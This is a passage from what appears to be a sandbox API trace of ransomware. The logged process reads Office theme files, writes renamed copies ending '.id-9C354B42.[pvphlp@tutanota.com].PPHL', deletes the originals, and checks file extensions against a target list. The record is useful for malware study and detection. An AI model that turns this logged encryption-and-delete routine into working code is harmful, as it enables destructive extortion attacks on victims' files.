lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.014] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.014] SetEndOfFile (hFile=0x15c) returned 1 [0078.015] CloseHandle (hObject=0x15c) returned 1 [0078.015] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.015] SetEndOfFile (hFile=0x218) returned 1 [0078.015] CloseHandle (hObject=0x218) returned 1 [0078.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.016] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\preview.gif")) returned 1 [0078.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.016] lstrlenW (lpString=".doc") returned 4 [0078.016] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.016] lstrlenW (lpString=".docx") returned 5 [0078.016] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.016] lstrlenW (lpString=".pdf") returned 4 [0078.016] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.016] lstrlenW (lpString=".xls") returned 4 [0078.016] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.016] lstrlenW (lpString=".xlsx") returned 5 [0078.016] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.016] lstrlenW (lpString=".ppt") returned 4 [0078.016] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.016] lstrlenW (lpString=".zip") returned 4 [0078.017] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.017] lstrlenW (lpString=".rar") returned 4 [0078.017] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.017] lstrlenW (lpString=".bz2") returned 4 [0078.017] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.017] lstrlenW (lpString=".7z") returned 3 [0078.017] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.017] lstrlenW (lpString=".dbf") returned 4 [0078.017] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.017] lstrlenW (lpString=".1cd") returned 4 [0078.017] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.017] lstrlenW (lpString=".jpg") returned 4 [0078.017] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.017] lstrlenW (lpString=".doc") returned 4 [0078.017] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.017] lstrlenW (lpString=".docx") returned 5 [0078.017] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.017] lstrlenW (lpString=".pdf") returned 4 [0078.017] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.017] lstrlenW (lpString=".xls") returned 4 [0078.017] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.017] lstrlenW (lpString=".xlsx") returned 5 [0078.017] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.017] lstrlenW (lpString=".ppt") returned 4 [0078.017] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.018] lstrlenW (lpString=".zip") returned 4 [0078.018] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.018] lstrlenW (lpString=".rar") returned 4 [0078.018] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.018] lstrlenW (lpString=".bz2") returned 4 [0078.018] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.018] lstrlenW (lpString=".7z") returned 3 [0078.018] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.018] lstrlenW (lpString=".dbf") returned 4 [0078.018] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.018] lstrlenW (lpString=".1cd") returned 4 [0078.018] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0078.018] lstrlenW (lpString=".jpg") returned 4 [0078.018] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.018] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.018] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0078.019] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=18413) returned 1 [0078.019] CloseHandle (hObject=0x218) returned 1 [0078.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0078.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0078.019] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.019] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0078.019] GetLastError () returned 0x0 [0078.019] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0078.044] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0078.046] ReadFile (in: hFile=0x218, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.046] WriteFile (in: hFile=0x15c, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.046] SetEndOfFile (hFile=0x15c) returned 1 [0078.046] CloseHandle (hObject=0x15c) returned 1 [0078.046] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.046] SetEndOfFile (hFile=0x218) returned 1 [0078.047] CloseHandle (hObject=0x218) returned 1 [0078.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.047] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0078.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.047] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.047] lstrlenW (lpString=".doc") returned 4 [0078.047] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.047] lstrlenW (lpString=".docx") returned 5 [0078.047] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.047] lstrlenW (lpString=".pdf") returned 4 [0078.047] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.048] lstrlenW (lpString=".xls") returned 4 [0078.048] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.048] lstrlenW (lpString=".xlsx") returned 5 [0078.048] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.048] lstrlenW (lpString=".ppt") returned 4 [0078.048] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.048] lstrlenW (lpString=".zip") returned 4 [0078.048] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.048] lstrlenW (lpString=".rar") returned 4 [0078.048] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.048] lstrlenW (lpString=".bz2") returned 4 [0078.048] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.048] lstrlenW (lpString=".7z") returned 3 [0078.048] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.048] lstrlenW (lpString=".dbf") returned 4 [0078.048] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.048] lstrlenW (lpString=".1cd") returned 4 [0078.048] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.048] lstrlenW (lpString=".jpg") returned 4 [0078.048] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.048] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.048] lstrlenW (lpString=".doc") returned 4 [0078.048] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.048] lstrlenW (lpString=".docx") returned 5 [0078.048] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.048] lstrlenW (lpString=".pdf") returned 4 [0078.048] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.048] lstrlenW (lpString=".xls") returned 4 [0078.048] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.048] lstrlenW (lpString=".xlsx") returned 5 [0078.049] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.049] lstrlenW (lpString=".ppt") returned 4 [0078.049] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.049] lstrlenW (lpString=".zip") returned 4 [0078.049] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.049] lstrlenW (lpString=".rar") returned 4 [0078.049] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.049] lstrlenW (lpString=".bz2") returned 4 [0078.049] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.049] lstrlenW (lpString=".7z") returned 3 [0078.049] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.049] lstrlenW (lpString=".dbf") returned 4 [0078.049] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.049] lstrlenW (lpString=".1cd") returned 4 [0078.049] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.049] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0078.049] lstrlenW (lpString=".jpg") returned 4 [0078.049] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.049] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.049] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.049] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0078.055] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=44850) returned 1 [0078.055] CloseHandle (hObject=0x15c) returned 1 [0078.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20 [0078.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0078.055] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.055] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0078.055] GetLastError () returned 0x0 [0078.055] ReadFile (in: hFile=0x15c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0xaf32, lpOverlapped=0x0) returned 1 [0078.237] WriteFile (in: hFile=0x1f0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xaf40, lpOverlapped=0x0) returned 1 [0078.242] ReadFile (in: hFile=0x15c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0078.242] WriteFile (in: hFile=0x1f0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.243] SetEndOfFile (hFile=0x1f0) returned 1 [0078.243] CloseHandle (hObject=0x1f0) returned 1 [0078.243] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.243] SetEndOfFile (hFile=0x15c) returned 1 [0078.245] CloseHandle (hObject=0x15c) returned 1 [0078.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0078.245] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1 [0078.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.245] lstrlenW (lpString=".doc") returned 4 [0078.245] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.245] lstrlenW (lpString=".docx") returned 5 [0078.245] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.245] lstrlenW (lpString=".pdf") returned 4 [0078.245] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.245] lstrlenW (lpString=".xls") returned 4 [0078.245] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.246] lstrlenW (lpString=".xlsx") returned 5 [0078.246] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.246] lstrlenW (lpString=".ppt") returned 4 [0078.246] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.246] lstrlenW (lpString=".zip") returned 4 [0078.246] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.246] lstrlenW (lpString=".rar") returned 4 [0078.246] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.246] lstrlenW (lpString=".bz2") returned 4 [0078.246] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.246] lstrlenW (lpString=".7z") returned 3 [0078.246] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.246] lstrlenW (lpString=".dbf") returned 4 [0078.246] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.246] lstrlenW (lpString=".1cd") returned 4 [0078.246] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.246] lstrlenW (lpString=".jpg") returned 4 [0078.246] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.246] lstrlenW (lpString=".doc") returned 4 [0078.247] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.247] lstrlenW (lpString=".docx") returned 5 [0078.247] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.247] lstrlenW (lpString=".pdf") returned 4 [0078.247] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.247] lstrlenW (lpString=".xls") returned 4 [0078.247] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.247] lstrlenW (lpString=".xlsx") returned 5 [0078.247] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.247] lstrlenW (lpString=".ppt") returned 4 [0078.247] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.247] lstrlenW (lpString=".zip") returned 4 [0078.247] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.247] lstrlenW (lpString=".rar") returned 4 [0078.247] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.247] lstrlenW (lpString=".bz2") returned 4 [0078.247] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.247] lstrlenW (lpString=".7z") returned 3 [0078.247] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.247] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.247] lstrlenW (lpString=".dbf") returned 4 [0078.248] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.248] lstrlenW (lpString=".1cd") returned 4 [0078.248] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0078.248] lstrlenW (lpString=".jpg") returned 4 [0078.248] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.248] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0078.248] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.253] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=11573) returned 1 [0078.253] CloseHandle (hObject=0x20c) returned 1 [0078.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0078.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0078.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0078.253] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.253] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0078.253] GetLastError () returned 0x0 [0078.253] ReadFile (in: hFile=0x20c, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0078.673] WriteFile (in: hFile=0x1b0, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, 